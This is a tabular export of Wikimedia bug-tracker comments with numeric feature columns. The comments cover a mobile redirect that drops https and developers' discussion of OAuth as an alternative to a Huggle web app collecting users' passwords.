171918,Mobile redirect strips https,"Depending on redirect method, possible dupe/related to bug 31369.",,,1349901872,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.384615384615385,1.0,"Depending on redirect method, possible dupe/related to bug 31369."
171911,Mobile redirect strips https,Can we make this happen sooner rather than later? Does someone need to be poked in RT?,,,1349901528,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,16.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.6842105263157894,0.9473684210526315,Can we make this happen sooner rather than later? Does someone need to be poked in RT?
171904,Mobile redirect strips https,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536905,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,6.222222222222222,1.0,Removing dependency to bug 27946 which is secure.wikimedia.org.
171897,Mobile redirect strips https,https://rt.wikimedia.org/Ticket/Display.html?id=2635,,,1331775492,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
171887,Mobile redirect strips https,Good find. We should fix that as https://en.m.wikipedia.org works just fine.,,,1331692967,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.9230769230769231,Good find. We should fix that as URL works just fine.
37199,No way to do logins without user surrendering their password to software,"There is currently no way to login to SUL on production. Regular login which asks for password isn't possible because of restrictions set by wmf. This blocks the development of app, until any kind of login is enabled by wmf operation team.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=30348",Medium,50.0,1331645520,1416907981.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-hygsocxkypuho4yqoprw,task_description,declined,True,c2,1,True,True,False,-77,True,1.0,0.0,0.0,1.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,12.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8933333333333335,0.64,"There is currently no way to login to SUL on production. Regular login which asks for password isn't possible because of restrictions set by wmf. This blocks the development of app, until any kind of login is enabled by wmf operation team.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
332894,No way to do logins without user surrendering their password to software,"BTW the app in my comment from 2013 you responded to was the C++ application for which OAuth is still not useable, only web-based app's are now supported",,,1416910649,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.9375,"BTW the app in my comment from 2013 you responded to was the C++ application for which OAuth is still not useable, only web-based app's are now supported"
332893,No way to do logins without user surrendering their password to software,"this is irrelevant, whole huggle-wa project is closed now. bug is closed as it's no longer valid.",,,1416910556,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,9.0,0.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.5217391304347827,0.8260869565217391,"this is irrelevant, whole huggle-wa project is closed now. bug is closed as it's no longer valid."
332877,No way to do logins without user surrendering their password to software,">>! In T37199#400227, @Petrb wrote:
> ok so oauth is partially available for webapp's so this is no longer a blocker, but for app it doesn't work

""for app it doesn't work"" which app doesnt it work for?  

Is there a ticket open for why oauth doesnt work?
",,,1416909680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6176470588235294,"QUOTE
QUOTE

""for app it doesn't work"" which app doesnt it work for?  

Is there a ticket open for why oauth doesnt work?
"
170975,No way to do logins without user surrendering their password to software,"ok so oauth is partially available for webapp's so this is no longer a blocker, but for app it doesn't work",,,1379754742,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.625,0.875,"ok so oauth is partially available for webapp's so this is no longer a blocker, but for app it doesn't work"
170971,No way to do logins without user surrendering their password to software,"(In reply to comment #13)
> Is it possible to provide users with an edit token that is visible via
> preferences (like the watchlist token), and is expired frequently; e.g. daily
> reset, with an age of 24 hrs after first use of the token.

Possible? Sure. But it's unlikely to be implemented on Wikimedia wikis. According to <http://lists.wikimedia.org/pipermail/wikitech-l/2013-August/071215.html>, OAuth is going into testing on Monday, August 19.",,,1376789843,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,29.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,4.0,0.0,2.0,16.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,3.511111111111111,0.8,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE

Possible? Sure. But it's unlikely to be implemented on Wikimedia wikis. According to <URL OAuth is going into testing on Monday, August 19."
170966,No way to do logins without user surrendering their password to software,"Is it possible to provide users with an edit token that is visible via preferences (like the watchlist token), and is expired frequently; e.g. daily reset, with an age of 24 hrs after first use of the token.
Apps can use while we wait for OAuth to be implemented, and its simplicity may mean edit tokens continue to be used in simple apps even after OAuth lands.",,,1376788537,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,4.0,0.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,18.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,5.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,18.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9078947368421053,0.7631578947368421,"Is it possible to provide users with an edit token that is visible via preferences (like the watchlist token), and is expired frequently; e.g. daily reset, with an age of 24 hrs after first use of the token.
Apps can use while we wait for OAuth to be implemented, and its simplicity may mean edit tokens continue to be used in simple apps even after OAuth lands."
170961,No way to do logins without user surrendering their password to software,The session cookie wouldn't work. It's different domains and separate clusters.,,,1347489787,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.9333333333333333,The session cookie wouldn't work. It's different domains and separate clusters.
170955,No way to do logins without user surrendering their password to software,"The session cookie. The app could still impersonate the user, but it wouldn't have the ""permanent"" password.

Yes, getting OAuth (or equivalent protocol) up, would be the right solution.",,,1347488647,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,10.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8780487804878048,0.7804878048780488,"The session cookie. The app could still impersonate the user, but it wouldn't have the ""permanent"" password.

Yes, getting OAuth (or equivalent protocol) up, would be the right solution."
170950,No way to do logins without user surrendering their password to software,"Which cookies?

I don't see much alternative here other than OAuth. A web version of huggle would need to act on a user's behalf. Either huggle needs to do proxy authentication, which is disallowed in labs, or it needs to use OAuth.

I don't really have much say on OAuth priority in MediaWiki. Maybe bring this up on the list again? OAuth is blocking a number of things in labs.",,,1347431015,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,2.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,15.0,6.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.7142857142857144,0.6785714285714286,"Which cookies?

I don't see much alternative here other than OAuth. A web version of huggle would need to act on a user's behalf. Either huggle needs to do proxy authentication, which is disallowed in labs, or it needs to use OAuth.

I don't really have much say on OAuth priority in MediaWiki. Maybe bring this up on the list again? OAuth is blocking a number of things in labs."
170943,No way to do logins without user surrendering their password to software,"An option would be to make Huggle accept the cookies instead of the user & password (albeit many users would have trouble extracting them...).

I have long have the idea of allowing ""restricted logins"", where you can only use a few rights, precisely for handing out to bots. It would be nice here, too.",,,1347402508,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-51,True,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,11.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,6.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,2.0,0.0,3.0,0.0,6.0,0.0,2.0,3.0,2.0,5.0,0.0,0.0,0.0,3.787878787878788,0.7878787878787878,"An option would be to make Huggle accept the cookies instead of the user & password (albeit many users would have trouble extracting them...).

I have long have the idea of allowing ""restricted logins"", where you can only use a few rights, precisely for handing out to bots. It would be nice here, too."
170937,No way to do logins without user surrendering their password to software,"**mmovchin** wrote:

Ryan: Something new with this? We need your input to continue to work :)",,,1347402242,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-51,True,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2916666666666665,0.7916666666666666,"**mmovchin** wrote:

Ryan: Something new with this? We need your input to continue to work :)"
170929,No way to do logins without user surrendering their password to software,"Ryan:

is there going to be a work-around for this or we need to wait until oauth is implemented? I suppose that in that case we would need to stop for, maybe several years with this. I don't believe tha t anyone is going to implement oauth into mediawiki sooner than in several months and even if they did, the review and deployment to production would likely take even longer. (My experienceis that code review of extension which consist of less than 40 lines of code takes half a year, see request to review Interactive Block Message extension, which I requested months ago)",,,1331821050,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-76,True,1.5,0.5,0.0,0.5,0.5,2.0,0.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,3.5,0.0,6.5,13.0,0.5,3.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,1.5,0.0,4.5,2.0,0.0,0.0,0.0,0.0,1.0,0.5,1.5,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,12.5,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,2.0,2.0,6.0,1.5,2.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.5,13.0,3.5,0.5,0.0,0.0,4.5,0.0,2.5,1.5,0.0,1.0,2.0,0.0,0.0,4.071595558153127,0.7777615429573349,"Ryan:

is there going to be a work-around for this or we need to wait until oauth is implemented? I suppose that in that case we would need to stop for, maybe several years with this. I don't believe tha t anyone is going to implement oauth into mediawiki sooner than in several months and even if they did, the review and deployment to production would likely take even longer. (My experienceis that code review of extension which consist of less than 40 lines of code takes half a year, see request to review Interactive Block Message extension, which I requested months ago)"
170923,No way to do logins without user surrendering their password to software,"(In reply to comment #3)
> What he's saying is that the web version of huggle needs to log users in as
> themselves, which means it needs to ask for their username/password. Obviously
> this sucks a little, but there's no alternative because we don't support OAuth.

thread here: http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/59502",,,1331774322,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8421052631578947,0.7894736842105263,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

thread here: URL"
170916,No way to do logins without user surrendering their password to software,"yes but that is allowed by wmf, while doing it on server is not",,,1331667950,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.3333333333333335,0.9333333333333333,"yes but that is allowed by wmf, while doing it on server is not"
170909,No way to do logins without user surrendering their password to software,"(In reply to comment #2)
> Ryan Lane is going to discuss some alternative options which are possible,
> however until then the development is kind of blocked, so I created this ticket
> so other devs of huggle wa can see the reason

(In reply to comment #3)
> What he's saying is that the web version of huggle needs to log users in as
> themselves, which means it needs to ask for their username/password. Obviously
> this sucks a little, but there's no alternative because we don't support OAuth.

Essentially that's no different to how the Windows app works - You still enter your username and password into the application. Just for the web app, you're giving a remote server your details too...",,,1331661018,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,1.0,1.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5652173913043477,0.6666666666666666,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Essentially that's no different to how the Windows app works - You still enter your username and password into the application. Just for the web app, you're giving a remote server your details too..."
170900,No way to do logins without user surrendering their password to software,"What he's saying is that the web version of huggle needs to log users in as themselves, which means it needs to ask for their username/password. Obviously this sucks a little, but there's no alternative because we don't support OAuth.",,,1331660724,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-77,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,6.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,16.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,3.979591836734694,0.8979591836734694,"What he's saying is that the web version of huggle needs to log users in as themselves, which means it needs to ask for their username/password. Obviously this sucks a little, but there's no alternative because we don't support OAuth."
170894,No way to do logins without user surrendering their password to software,"Ryan Lane is going to discuss some alternative options which are possible, however until then the development is kind of blocked, so I created this ticket so other devs of huggle wa can see the reason",,,1331660199,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,3.0,0.0,0.0,3.0,0.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,8.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.342105263157895,0.868421052631579,"Ryan Lane is going to discuss some alternative options which are possible, however until then the development is kind of blocked, so I created this ticket so other devs of huggle wa can see the reason"
170887,No way to do logins without user surrendering their password to software,"(In reply to comment #0)
> There is currently no way to login to SUL on production. Regular login which
> asks for password isn't possible because of restrictions set by wmf. This
> blocks the development of app, until any kind of login is enabled by wmf
> operation team.

